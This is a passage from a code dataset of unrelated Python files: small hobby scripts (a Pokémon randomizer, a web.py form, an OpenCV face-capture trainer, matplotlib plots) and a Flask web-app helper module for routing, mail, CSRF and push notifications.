2\n\t\t\"\\tdb {poke[2][0]!s}, {poke[2][1]}\\n\" # pokemon 3\n\t\t\"\\tdb {poke[3][0]!s}, {poke[3][1]}\\n\" # pokemon 4\n\t\t\"\\tdb {poke[4][0]!s}, {poke[4][1]}\\n\" # pokemon 5\n\t\t\"\\tdb {poke[5][0]!s}, {poke[5][1]}\\n\" # pokemon 6\n\t\t\"\\tdb {poke[6][0]!s}, {poke[6][1]}\\n\" # pokemon 7\n\t\t\"\\tdb {poke[7][0]!s}, {poke[7][1]}\\n\" # pokemon 8\n\t\t\"\\tdb {poke[8][0]!s}, {poke[8][1]}\\n\" # pokemon 9\n\t\t\"\\tdb {poke[9][0]!s}, {poke[9][1]}\\n\" # pokemon 10\n\t\t\"\\tdb $00\" # footer\n\t\t)\n\n\treturn template.format(name=zoneName, rate=encounterRate, poke=poketable)\n\nprint(createZoneString(createPokemonTable(3.2, 0.2, 0.05, 0.1), 'route1', '$19'))","sub_path":"randomize-wild-pokemon.py","file_name":"randomize-wild-pokemon.py","file_ext":"py","file_size_in_byte":4237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"160504024","text":"import web # imports web library\n\nurls = (\n\t'/hello', 'Index'\n)\n\napp = web.application(urls, globals()) # stores urls and class variabless\n\nrender = web.template.render('templates/', base=\"layout\") # renders html in templates folder and uses the layout.html to fill in contents of other html code\n\"\"\"\nclass Index(object):\n\tdef GET(self):\n\t\tform = web.input(name= None, greet=None) # greet set to false value\n\t\t\n\t\tif form.name and form.greet: #if both have a value\n\t\t\tgreeting = \"%s, %s\" % (form.greet, form.name)\n\t\t\treturn render.index(greeting = greeting)\n\t\telif form.name == None and form.greet: # error checking\n\t\t\treturn \"ERROR: name is required\"\n\t\telif form.name and form.greet == None:\n\t\t\treturn \"ERROR: greet is required\"\n\t\telse:\n\t\t\treturn \"ERROR: name and greet is required\"\n\"\"\"\n\nclass Index(object):\n\tdef GET(self):\n\t\treturn render.hello_form() # webpage will call hello_form html\n\t\t\n\tdef POST(self):\n\t\tform = web.input(name=\"Nobody\", greet=\"Hello\")\n\t\tgreeting = \"%s, %s\" % (form.greet, form.name)\n\t\t\n\t\tif form.name and form.greet: #if both have a value\n\t\t\tgreeting = \"%s, %s\" % (form.greet, form.name)\n\t\t\treturn render.index(greeting = greeting) # sends to index html with greeting variable\n\t\telif form.name == None and form.greet: # error checking\n\t\t\treturn \"ERROR: name is required\"\n\t\telif form.name and form.greet == None:\n\t\t\treturn \"ERROR: greet is required\"\n\t\telse:\n\t\t\treturn \"ERROR: name and greet is required\"\n\t\t\nif __name__ == \"__main__\": # runs app\n\tapp.run()","sub_path":"projects/ex51/bin/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"87782544","text":"#!/usr/bin/env python\n\nfrom setuptools import setup\n\ninstall_requires = ['drive-ami',\n 'drive-casa',\n ]\n\nsetup(\n name=\"autocrunch\",\n version=\"0.2.3\",\n packages=['autocrunch'],\n description=\"Automatically process incoming files.\",\n author=\"Tim Staley\",\n author_email=\"timstaley337@gmail.com\",\n url=\"https://github.com/timstaley/autocrunch\",\n install_requires=install_requires,\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"576905482","text":"#!/usr/bin/env python3\n\n\"\"\"Main.\"\"\"\n\nimport sys\nfrom cpu import *\n\ncpu = CPU()\n\nif len(sys.argv) != 2:\n cpu.load()\n\nelse:\n filename = sys.argv[1]\n cpu.load_file(filename)\n\ncpu.run()\n\n\n","sub_path":"ls8.py","file_name":"ls8.py","file_ext":"py","file_size_in_byte":193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"165335764","text":"arquivo = open(\"arquivo2.txt\", \"a\")\r\n\r\n'''\r\n\tr = somente leitura \r\n\tw = escrita(caso o arquivo ja exista ele apaga o antigo )\r\n\ta = leitura e escrita (adiciona novo conteudo no final do arquivo)\r\n\tr+ = leitura e escrita\r\n\tw+ = escrita (semelhante ao modo w normal)\r\n\ta+ = leitura e escrita (abre o arquivo para atualização)\r\n'''\r\n\r\narquivo.write(\"Este é meu arquivo criado pelo python\\n\")\r\n\r\narquivo.close()","sub_path":"Introdução a linguagem python/Criador_de_Arquivos.py","file_name":"Criador_de_Arquivos.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"221336546","text":"#!/usr/bin/env python\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pylab as plt\n\nimport numpy as np\n\nfrom scipy.interpolate import interp1d\n\n\ndef plot():\n\n ax = plt.figure(figsize=(12, 8)).add_subplot(111)\n\n x_values = [0.00, 0.33, 0.66, 1.00]\n y_values = [0.95, 0.70, 0.40, 0.00]\n\n f = interp1d(x_values, y_values, kind='quadratic')\n x_grid = np.linspace(0, 1, num=41, endpoint=True)\n ax.plot(x_grid, f(x_grid), label='Optimal', linewidth=5, color='red')\n\n x_values = [0.00, 0.33, 0.66, 1.00]\n y_values = [0.80, 0.70, 0.50, 0.20]\n\n f = interp1d(x_values, y_values, kind='quadratic')\n x_grid = np.linspace(0, 1, num=41, endpoint=True)\n ax.plot(x_grid, f(x_grid), label='Robust', linewidth=5, color='black')\n\n ax.set_xticks((0.0, 0.2, 0.5, 0.8))\n# ax.set_xticklabels(['None', '', '', ''])\n ax.set_xticklabels([])\n\n # Both axes\n ax.tick_params(labelsize=18, direction='out', axis='both', top='off', right='off')\n\n # Remove first element on y-axis\n ax.yaxis.get_major_ticks()[0].set_visible(False)\n ax.set_xlim(0, 1.0)\n ax.set_ylim(0, 1.0)\n ax.set_yticklabels([])\n\n # # labels\n ax.set_xlabel('Degree of Model Misspecification', fontsize=16)\n ax.set_ylabel('Expected Lifetime Utility', fontsize=16)\n # Both Axes\n ax.tick_params(labelsize=16, direction='out', axis='both', top='off',\n right='off')\n # Set up legend\n ax.legend(loc='upper center', bbox_to_anchor=(0.5, -0.10), fancybox=False,\n frameon=False, shadow=False, ncol=2, fontsize=20)\n\n # Write out to\n plt.savefig('fig-robust-performance.png', bbox_inches='tight', format='png')\n\n''' Execution of module as script.\n'''\n\nif __name__ == '__main__':\n\n plot()\n","sub_path":"resources/illustrations/fig-robust-performance.py","file_name":"fig-robust-performance.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"392077760","text":"ALUGADO = 0\nRESERVADO = 1\nDISPONIVEL = 2\nEMATRASO = 3\n\ndef getCarro(carros, cod):\n\tfor i in range(0, len(carros)):\n\t\tif(carros[i].codigo == cod):\n\t\t\treturn i\n\t\t\tbreak\n\ndef getLocacao(locacao, nome):\n\tfor i in range(0, len(locacao)):\n\t\tif(locacao[i].nome == nome):\n\t\t\treturn i\n\t\t\tbreak\n\ndef sobreposicao(d1, p1, d2, p2):\n\tif(d1 <= d2+p2 and d1+p1 >= d2):\n\t\treturn True\n\telse:\n\t\treturn False","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"217754613","text":"import bpy\r\n\r\nfrom bpy.utils import register_class, unregister_class\r\n\r\nfrom . import boolshape, type, status\r\n\r\nclasses = (\r\n boolshape.HOPS_OT_SELECT_boolshape,\r\n type.HOPS_OT_SELECT_display_type,\r\n status.HOPS_OT_SELECT_hops_status)\r\n\r\n\r\ndef register():\r\n for cls in classes:\r\n register_class(cls)\r\n\r\n\r\ndef unregister():\r\n for cls in classes:\r\n unregister_class(cls)\r\n","sub_path":"addon/operator/select/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"307974104","text":"'''\nCapture multiple Faces from multiple users to be stored on a DataBase (dataset directory)\n\t==> Faces will be stored on a directory: dataset/ (if does not exist, pls create one)\n\t==> Each face will have a unique numeric integer ID as 1, 2, 3, etc\n\nBased on original code by Anirban Kar: https://github.com/thecodacus/Face-Recognition\n\nDeveloped by Marcelo Rovai - MJRoBot.org @ 21Feb18\n\n'''\n\nimport cv2\nimport os\nimport sys\nimport numpy as np\nfrom PIL import Image\n\ncam = cv2.VideoCapture(0)\ncam.set(3, 640) # set video width\ncam.set(4, 480) # set video height\n\nface_detector = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n\n# For each person, enter one numeric face id\nface_id = sys.argv[1]\n\nprint(\"\\n [INFO] Initializing face capture. Look the camera and wait ...\")\n# Initialize individual sampling face count\ncount = 0\n\nwhile(True):\n ret, img = cam.read()\n # img = cv2.flip(img, -1) # flip video image vertically\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n faces = face_detector.detectMultiScale(gray, 1.3, 5)\n\n for (x, y, w, h) in faces:\n\n cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)\n count += 1\n\n # Save the captured image into the datasets folder\n cv2.imwrite(\"dataset/User.\" + str(face_id) + '.' + str(count) + \".jpg\", cv2.resize(gray[y:y+h, x:x+w], (250, 250)))\n\n cv2.imshow('image', img)\n\n k = cv2.waitKey(100) & 0xff # Press 'ESC' for exiting video\n if k == 27:\n break\n elif count >= 15: # Take 30 face sample and stop video\n break\n\ncam.release()\ncv2.destroyAllWindows()\n\ninput(\"Please turn to your left. Enter to continue\")\ncam2 = cv2.VideoCapture(0)\ncam2.set(3, 640) # set video width\ncam2.set(4, 480) # set video height\n\nface_detector2 = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n\nwhile(True):\n ret, img = cam2.read()\n # img = cv2.flip(img, -1) # flip video image vertically\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n faces = face_detector2.detectMultiScale(gray, 1.3, 5)\n\n for (x, y, w, h) in faces:\n\n cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)\n count += 1\n\n # Save the captured image into the datasets folder\n cv2.imwrite(\"dataset/User.\" + str(face_id) + '.' + str(count) + \".jpg\", cv2.resize(gray[y:y+h, x:x+w], (250, 250)))\n\n cv2.imshow('image', img)\n\n k = cv2.waitKey(100) & 0xff # Press 'ESC' for exiting video\n if k == 27:\n break\n elif count >= 25: # Take 30 face sample and stop video\n break\n\ncam2.release()\ncv2.destroyAllWindows()\n\ninput(\"Please turn to your right. Enter to continue\")\ncam3 = cv2.VideoCapture(0)\ncam3.set(3, 640) # set video width\ncam3.set(4, 480) # set video height\n\nface_detector3 = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n\nwhile(True):\n ret, img = cam3.read()\n # img = cv2.flip(img, -1) # flip video image vertically\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n faces = face_detector3.detectMultiScale(gray, 1.3, 5)\n\n for (x, y, w, h) in faces:\n\n cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)\n count += 1\n\n # Save the captured image into the datasets folder\n cv2.imwrite(\"dataset/User.\" + str(face_id) + '.' + str(count) + \".jpg\", cv2.resize(gray[y:y+h, x:x+w], (250, 250)))\n\n cv2.imshow('image', img)\n\n k = cv2.waitKey(100) & 0xff # Press 'ESC' for exiting video\n if k == 27:\n break\n elif count >= 35: # Take 30 face sample and stop video\n break\n\n# Do a bit of cleanup\nprint(\"\\n [INFO] Exiting Program and cleanup stuff\")\ncam3.release()\ncv2.destroyAllWindows()\n\npath = 'dataset'\n\nrecognizer = cv2.face.FisherFaceRecognizer_create()\n\n# function to get the images and label data\ndef getImagesAndLabels(path):\n imagePaths = [os.path.join(path,f) for f in os.listdir(path)]\n faceSamples=[]\n ids = []\n\n for imagePath in imagePaths:\n\n PIL_img = Image.open(imagePath).convert('L') # convert it to grayscale\n img_numpy = np.array(PIL_img,'uint8')\n\n id = int(os.path.split(imagePath)[-1].split(\".\")[1])\n faces = face_detector.detectMultiScale(img_numpy)\n\n for (x, y, w, h) in faces:\n faceSamples.append(cv2.resize(img_numpy[y:y+h,x:x+w],(250,250)))\n ids.append(id)\n\n return faceSamples, ids\n\n\nprint(\"\\n [INFO] Training faces. It will take a few seconds. Wait ...\")\nfaces, ids = getImagesAndLabels(path)\nrecognizer.train(faces, np.array(ids))\n\n# Save the model into trainer/trainer.yml\nrecognizer.write('trainer/trainer.yml') # recognizer.save() worked on Mac, but not on Pi\n\n# Print the numer of faces trained and end program\nprint(\"\\n [INFO] {0} faces trained. Exiting Program\".format(len(np.unique(ids))))\n","sub_path":"training.pyw","file_name":"training.pyw","file_ext":"pyw","file_size_in_byte":4732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"520420485","text":"import cv2\r\nimport numpy as np\r\n\r\nimg = cv2.imread('image/Lenna.png')\r\n\r\nret, thresh = cv2.threshold(cv2.cvtColor(img, cv2.COLOR_BGR2GRAY), 127, 255, 0)\r\n# 找到轮廓\r\ncontours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\r\ncnt = contours[0] # 取第一条轮廓\r\nM = cv2.moments(cnt)\r\n\r\n# 画出轮廓\r\nimgNew = cv2.drawContours(img, contours, -1, (0, 255, 0), 3)\r\nprint(M)\r\n\r\ncx = int(M['m10'] / M['m00'])\r\ncy = int(M['m01'] / M['m00'])\r\n\r\n# 计算轮廓面积\r\narea = cv2.contourArea(cnt)\r\n\r\n# 计算周长\r\nperimeter = cv2.arcLength(cnt, True)\r\n\r\n# 轮廓的近似\r\nepsilon = 0.02 * perimeter\r\napprox = cv2.approxPolyDP(cnt, epsilon, True)\r\nimgNew1 = cv2.drawContours(img, approx, -1, (0, 0, 255), 3)\r\n\r\ncv2.imshow('lunkuo', imgNew)\r\ncv2.imshow('approx_lunkuo', imgNew1)\r\ncv2.waitKey(0)\r\n","sub_path":"feature_extraction.py","file_name":"feature_extraction.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"258887956","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport time\nimport functools\nimport flask\nfrom werkzeug.local import LocalProxy\nfrom werkzeug.utils import cached_property, import_string\nfrom werkzeug.datastructures import ImmutableMultiDict, CombinedMultiDict\nimport jinja2\n\nimport model\nimport json\n\nfrom server import server, mailer, db, cache, babel, r, gi\n\nfrom model.base import soft_unicode\n\n\nclass CronCollitionError(Exception):\n \"\"\"バックグラウンドの処理で競合が発生した場合のエラーです\"\"\"\n\n\ndef measure_time(func):\n @functools.wraps(func)\n def _wrapper(*args, **kwds):\n start = time.time()\n ret = func(*args, **kwds)\n logger.debug('%s.%s: %s' % (func.__module__, func.__name__, time.time() - start))\n return ret\n return _wrapper\n\n\nclass Handler(object):\n\n smartphone_modules = {}\n smartphone_templates = {}\n\n def __init__(self, func):\n self.func = func\n\n #load func of smartphone\n parts = self.func.__module__.split('.')\n sm_name = 'apps.sm'\n sm_mod = None\n for part in parts[2:]:\n sm_name = '%s.%s' % (sm_name, part)\n sm_mod = self.smartphone_modules.get(sm_name)\n if sm_mod is None:\n try:\n sm_mod = import_string(sm_name)\n except ImportError:\n sm_mod = False\n self.smartphone_modules[sm_name] = sm_mod\n if not sm_mod:\n break\n self.func_smart = None\n if sm_mod:\n self.func_smart = getattr(sm_mod, self.func.__name__, None)\n\n @cached_property\n def default_template(self):\n return '%s/%s' % (self.func.__module__.split('.')[-1], self.func.__name__)\n\n @cached_property\n def template_module(self):\n return '/'.join(self.func.__module__.split('.')[1:-1])\n\n @cached_property\n def template_root(self):\n return self.func.__module__.split('.')[1]\n\n def __call__(self, *args, **kwds):\n self.setup_request_values(flask.request, **kwds)\n flask.g.handler = self\n\n try:\n ret = self.dispatch(*args, **kwds)\n ret = flask.current_app.make_response(ret)\n if 'text/html' in ret.headers.get('Content-Type'):\n ret.headers['Vary'] = 'User-Agent' #lets google crawl sm\n\n #Temporary. setting user language based on what page they are on\n #have to get their language even if they stay logged in\n user = get_user(abort_none=False)\n\n #Check and Create session guest id if it doesn't exist.\n if not user and not flask.session.get('guest_uuid'):\n import uuid\n import base64\n import re\n guest_uuid = re.sub('[!=/-]', '', base64.b32encode(uuid.uuid4().bytes).lower()) # uuid\n flask.session['guest_uuid'] = guest_uuid\n flask.session.permanent = True\n\n #if they unregister and happen to have a cookie left over\n if user and user.is_unregister:\n flask.session.pop('id', None)\n\n #キャッシュが設定されていない場合は標準でno-cache,no-storeを指定する\n if 0 >= (ret.cache_control.max_age or 0) and not ret.cache_control.public:\n etag = ret.get_etag()\n if not etag or not any(etag):\n ret.cache_control.no_cache = ret.cache_control.no_store = True\n if flask.session.get('_csrf'):\n ret.set_cookie('XSRF-TOKEN', flask.session['_csrf'])\n return ret\n finally:\n flask.g.handler = None\n\n def dispatch(self, *args, **kwds):\n if self.func_smart and flask.request.use_smartphone:\n ret = self.func_smart(*args, **kwds)\n else:\n ret = self.func(*args, **kwds)\n\n #if implicit flushes enabled, unnecessary update will execute by storm.\n db.block_implicit_flushes()\n\n if isinstance(ret, (tuple, list)):\n template, context = ret\n elif isinstance(ret, dict):\n template, context = None, ret\n elif isinstance(ret, basestring):\n template, context = ret, None\n elif ret:\n return ret\n else:\n template, context = None, None\n return self.render(template, context)\n\n @measure_time\n def render(self, template, context):\n context = context or {}\n template, values = self._setup_template(template, **context)\n return flask.render_template(template, **values)\n\n def fetch(self, template, context):\n template, values = self._setup_template(template, **context)\n flask.current_app.update_template_context(values)\n return flask.current_app.jinja_env.get_template(template).render(values)\n\n def _setup_template(self, template, **context):\n values = {}\n if context:\n values.update(context)\n values.update(flask.current_app.template_funcs)\n if template and template.startswith('/'):\n template_name = self.template_root + template\n else:\n if template is None:\n template = self.default_template\n template_name = '%s/%s' % (self.template_module, template)\n if '.' not in template_name:\n template_name = template_name + '.html'\n\n #api default pc template\n parts = template_name.split('/')\n if parts[0] in ['api', 'api2']:\n parts[0] = 'pc'\n template_name = '/'.join(parts)\n #for smartphones\n if flask.request.use_smartphone:\n if parts[0] == 'pc':\n parts[0] = 'sm'\n sm_template_name = '/'.join(parts)\n ret = self.smartphone_templates.get(sm_template_name, None)\n if ret is None or flask.current_app.debug:\n try:\n flask.current_app.jinja_env.get_template(sm_template_name)\n ret = True\n except jinja2.TemplateNotFound:\n ret = False\n self.smartphone_templates[sm_template_name] = ret\n if ret:\n template_name = sm_template_name\n\n return template_name, values\n\n def setup_request_values(self, request, **kwds):\n args = []\n if request.json:\n request.form = request.json\n for d in request.args, request.form, kwds:\n if not isinstance(d, ImmutableMultiDict):\n d = ImmutableMultiDict(d)\n args.append(d)\n request.values = CombinedMultiDict(args)\n\n @cached_property\n def mount(self):\n return self.func.__module__.split('.')[1]\n\n @cached_property\n def app(self):\n return '.'.join(self.func.__module__.split('.')[1:3])\n\n @cached_property\n def module(self):\n return '.'.join(self.func.__module__.split('.')[1:4])\n\n def get_full_name(self, endpoint):\n parts = endpoint.split('.')\n if 1 == len(parts):\n endpoint = '%s.%s' % (self.module, endpoint)\n elif 2 == len(parts):\n endpoint = '%s.%s' % (self.app, endpoint)\n elif 3 == len(parts):\n endpoint = '%s.%s' % (self.mount, endpoint)\n return endpoint\n\n def url_for(self, endpoint, **values):\n if not endpoint.startswith('/'):\n endpoint = self.get_full_name(endpoint)\n return url_for_impl(endpoint, **values)\n\n\ndef fetch(template, context=None):\n return flask.g.handler.fetch(template, context or {})\n\n\ndef url_for(endpoint, **values):\n return flask.g.handler.url_for(endpoint, **values)\n\n\ndef url_for_impl(endpoint, **values):\n external = values.pop('_external', False)\n hash = values.pop('_hash', None)\n subdomain = values.pop('_subdomain', None)\n values = dict([(k, v) for k, v in values.iteritems() if v or 0 == v])\n if endpoint.startswith('/') or endpoint.startswith('http'):\n ret = endpoint\n else:\n ret = flask.url_for(endpoint, **values)\n if hash:\n ret += '#' + hash\n if external and not endpoint.startswith('http'):\n scheme = 'https' if flask.request.is_secure else 'http'\n ret = '%s://%s%s' % (\n scheme, flask.current_app.config['FRONT_SERVER_NAME'], ret)\n\n #temporary fix for routing for subdomains\n #_subdomain='en' for english, _subdomain='' or 'ja' for japanese\n #_external's default is no subdomain, so do nothing if japanese\n if external and subdomain and subdomain != 'ja':\n http, sep, end_part = ret.partition('//')\n ret = '%s%s%s.%s' % (http, sep, subdomain, end_part)\n return ret\n\n\nclass Router(object):\n\n def __init__(self, url_prefix=None, subdomain=None):\n self.server = server\n self.url_prefix = url_prefix\n self.subdomain = subdomain\n\n def add(self, *args, **options):\n def decorator(f):\n h = Handler(f)\n if h.func.__module__.startswith('apps.api'):\n from flaskext import csrf\n csrf._exempt_views.append(h)\n\n self.add_url_rule(args, h, **options)\n return h\n return decorator\n\n def add_url_rule(self, rules, view_func=None, **options):\n\n options.setdefault('methods', ('GET', 'POST', 'OPTIONS'))\n options.setdefault('subdomain', self.subdomain)\n\n if not isinstance(rules, (list, tuple)):\n rules = [rules]\n\n for rule in rules:\n the_rule = rule\n if self.url_prefix:\n the_rule = self.url_prefix + rule\n\n self.server.add_url_rule(the_rule,\n endpoint='%s.%s' % ('.'.join(view_func.func.__module__.split('.')[1:]),\n view_func.func.__name__),\n view_func=view_func, **options)\n\n\nlogger = LocalProxy(lambda: flask.current_app.logger)\n\n\ndef require_admin(f):\n @functools.wraps(f)\n def _wrapper(*args, **kwds):\n if not flask.session.get('admin'):\n current_user = get_user(abort_none=False)\n if not current_user or not current_user.is_admin:\n flask.abort(code=404)\n return f(*args, **kwds)\n return _wrapper\n\n\ndef abort_if(cond, code=404, *args, **kwds):\n if cond:\n flask.abort(code, *args, **kwds)\n\n\ndef redirect_back(endpoint='', **values):\n ret = flask.request.values.get('_referer')\n if not ret:\n ret = url_for(endpoint, **values)\n return flask.redirect(ret)\n\n\ndef render_text(value):\n return flask.current_app.response_class(value, mimetype='text/plain')\n\n\ndef render_json(value, *args, **kwds):\n return flask.current_app.response_class(\n flask.json.dumps(value), mimetype='application/json', *args, **kwds)\n\n\ndef render_rss_xml(template, values):\n result = flask.render_template(template, **values)\n return flask.current_app.response_class(result, mimetype='application/xml') #This one is to see XML with good formating in Browser\n #return flask.current_app.response_class(result, mimetype='application/rss+xml') #Browser doesnt recognize rss format.\n\n\n_BLANK_IMAGE = ('\\x47\\x49\\x46\\x38\\x39\\x61\\x01\\x00\\x01\\x00\\x80\\xff\\x00\\xff\\xff'\n '\\xff\\x00\\x00\\x00\\x21\\xf9\\x04\\x01\\x00\\x00\\x00\\x00\\x2c\\x00\\x00\\x00\\x00\\x01'\n '\\x00\\x01\\x00\\x00\\x02\\x02\\x44\\x01\\x00\\x3b')\n\n\ndef render_blank_gif():\n return flask.current_app.response_class(_BLANK_IMAGE, mimetype='image/gif')\n\n\ndef fetch_mail(template, context=None):\n lines = fetch(template, context).splitlines()\n return lines[0], '\\r\\n'.join(lines[1:])\n\n\ndef send_mail(template, context=None, lang=None, bcc_to_latte=True, **kwds):\n \"\"\"changes language of mail based on lang parameter, same lang as request if lang is None\"\"\"\n from flaskext.babel import refresh\n changed_lang = False\n\n if bcc_to_latte:\n temp_bcc = kwds.get('bcc', [])\n if isinstance(temp_bcc, basestring):\n kwds['bcc'] = [temp_bcc, 'info@latte.la']\n else:\n temp_bcc.append('info@latte.la')\n kwds['bcc'] = temp_bcc\n\n try:\n if lang and lang != get_locale():\n changed_lang = True\n flask.g.force_language = lang #TODOP: check if lang is an available language\n refresh()\n\n if kwds.get('content_type') == 'html':\n if not lang:\n lang = get_locale()\n subject, body = fetch_mail('/mail/%s%s' % (lang, template), context)\n else:\n subject, body = fetch_mail(template, context)\n mailer.send(subject, body=body, **kwds)\n finally:\n flask.g.force_language = None #clear before refreshing\n\n if changed_lang:\n refresh()\n\n\ndef send_app_notify(user_id, alert=None, sound=None, badge=None):\n from apns import APNs, Payload\n tokens = model.UserToken.get_token(user_id)\n apns = None\n filename = None\n\n if flask.current_app.config['APNS_SANDBOX']:\n filename = 'data/apns-dev.pem'\n else:\n filename = 'data/apns-prod.pem'\n certkey = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), os.path.normpath(filename))\n\n # Already combine both certificate and key into 1 file\n try:\n apns = APNs(use_sandbox=flask.current_app.config['APNS_SANDBOX'], cert_file=certkey, key_file=certkey)\n payload = Payload(alert=alert, sound=sound, badge=badge)\n for token in tokens:\n if token.apns:\n apns.gateway_server.send_notification(token.apns, payload)\n except:\n pass\n\n\ndef check_internal_path(path):\n if not path or path.startswith('/'):\n return\n flask.abort()\n\n\n### site-specific\ndef get_place(id):\n abort_if(0 >= id)\n obj = model.Place.get_place(id)\n abort_if(not obj)\n return obj\n\nplace_redirect = {'blooklyn': 'brooklyn'}\n\n\ndef get_place_by_url_key(url_key, ignore_not_found=False):\n obj = None\n if url_key:\n url_key = soft_unicode(url_key)\n obj = model.Place.get_by_url_key(url_key)\n if not ignore_not_found:\n abort_if(not obj)\n return obj\n\n\ndef use_place(url_key='url_key', ignore_not_found=False):\n \"\"\"引数のPlaceのurl_keyをPlaceインスタンスに置き換えるデコレータです。\n \"\"\"\n def _decorator(func):\n @functools.wraps(func)\n def _wrapper(**kwds):\n key = kwds.pop(url_key, None)\n if key == 'earth':\n return flask.redirect(url_for('pc.travel.welcome.index'))\n place = get_place_by_url_key(key, ignore_not_found=True)\n if not place:\n if key in place_redirect:\n return flask.redirect(url_for(func.__name__, url_key=place_redirect.get(key), **kwds))\n abort_if(not ignore_not_found)\n return func(place=place, **kwds)\n return _wrapper\n return _decorator\n\n\ndef get_event_by_url_key(url_key, ignore_not_found=False):\n obj = None\n if url_key:\n url_key = soft_unicode(url_key)\n obj = model.Event.get_by_url_key(url_key)\n if not ignore_not_found:\n abort_if(not obj)\n return obj\n\n\ndef use_event(url_key='url_key', ignore_not_found=False):\n \"\"\"Wrapper for event.\"\"\"\n def _decorator(func):\n @functools.wraps(func)\n def _wrapper(**kwds):\n from model import Event\n key = kwds.pop(url_key, None)\n event = get_event_by_url_key(key, ignore_not_found=True)\n if not event:\n abort_if(not ignore_not_found)\n return func(event=event, **kwds)\n return _wrapper\n return _decorator\n\n\ndef use_place_tour(url_key='url_key', type='default', ignore_not_found=False):\n \"\"\"Fetch place for given url key.\n\n url_key: string\n type: default/theme\n\n return: dict\n\n \"\"\"\n def _decorator(func):\n @functools.wraps(func)\n def _wrapper(**kwds):\n from model import TourEs\n key = kwds.pop(url_key, None)\n place = TourEs.get_by_alias(key)\n if not place:\n from apps import abort_if\n abort_if(not ignore_not_found)\n return func(place=place, **kwds)\n return _wrapper\n return _decorator\n\n\ndef get_user(abort_none=True):\n if hasattr(flask.g, 'user'):\n user = flask.g.user\n else:\n user = None\n if flask.session.get('id'):\n user = model.User.get_by_id(long(flask.session.get('id') or 0))\n flask.g.user = user\n\n return user\n\n\ndef get_user_by_id(id, abort_none=True, abort_unreg=True):\n if long(flask.session.get('id') or 0) == long(id):\n return get_user(abort_none)\n user = model.User.get_by_id(long(id))\n if abort_none:\n abort_if(not user, 404)\n if abort_unreg:\n abort_if(user.is_unregister, 404)\n return user\n\n\ndef require_user(f):\n @functools.wraps(f)\n def _wrapper(*args, **kwds):\n if not flask.session.get('id'):\n if flask.request.endpoint.startswith('pc.travel') or flask.request.endpoint.startswith('sm.travel'):\n return flask.redirect(url_for('pc.travel.user.login', refer=flask.request.path[1:]))\n else:\n return flask.redirect(url_for('pc.user.register.index', refer=flask.request.path[1:]))\n return f(*args, **kwds)\n return _wrapper\n\n\ndef require_not_user(f):\n @functools.wraps(f)\n def _wrapper(*args, **kwds):\n if flask.session.get('id'):\n return flask.redirect(url_for('user.mypage.index'))\n return f(*args, **kwds)\n return _wrapper\n\n\ndef check_csrf(name='_csrf'):\n def _decorator(f):\n @functools.wraps(f)\n def _wrapper(*args, **kwds):\n token = flask.request.values.get(name)\n if not token or token != flask.session.get('_csrf'):\n flask.abort(403)\n return f(*args, **kwds)\n return _wrapper\n return _decorator\n\n\n@server.errorhandler(500)\ndef error_internal_server_error(error):\n return error\n\n\n@babel.localeselector\ndef get_locale():\n #used for changing mail language\n #must erase after using\n try:\n if flask.g.force_language and flask.g.force_language in flask.current_app.config['LOCALE']:\n return flask.g.force_language\n except AttributeError:\n pass\n\n locale = flask.request.host.split('.')[0]\n if locale in flask.current_app.config['LOCALE']:\n return locale\n else:\n return 'ja'\n\n\n@babel.timezoneselector\ndef get_timezone():\n timezone = 'Asia/Tokyo' #old default\n if flask.g.user and flask.g.user.timezone:\n timezone = flask.g.user.timezone\n else:\n try:\n timezone = flask.g.timezone\n except AttributeError:\n pass\n return timezone\n\n\n### Force SSL\ndef ssl_required(f):\n @functools.wraps(f)\n def _wrapper(*args, **kwargs):\n \"\"\"Redirects to the https. NGINX should send x-forwarded-proto header to make this work. Otherwise Flask can't recognize ssl.\"\"\"\n if flask.current_app.config.get(\"USE_SSL\"):\n scheme = 'http'\n if flask.request.is_secure and flask.request.headers.get('x-forwarded-proto', None):\n scheme = flask.request.headers.get('x-forwarded-proto')\n if scheme == 'http':\n secure_url = flask.request.url.replace('http://', 'https://')\n return flask.redirect(secure_url, 301)\n return f(*args, **kwargs)\n return _wrapper\n\n\n### Token\ndef require_token(f):\n @functools.wraps(f)\n def _wrapper(*args, **kwds):\n token = flask.request.values.get('token')\n if token:\n reader = model.User.get_by_token(token)\n if reader:\n #instant login\n 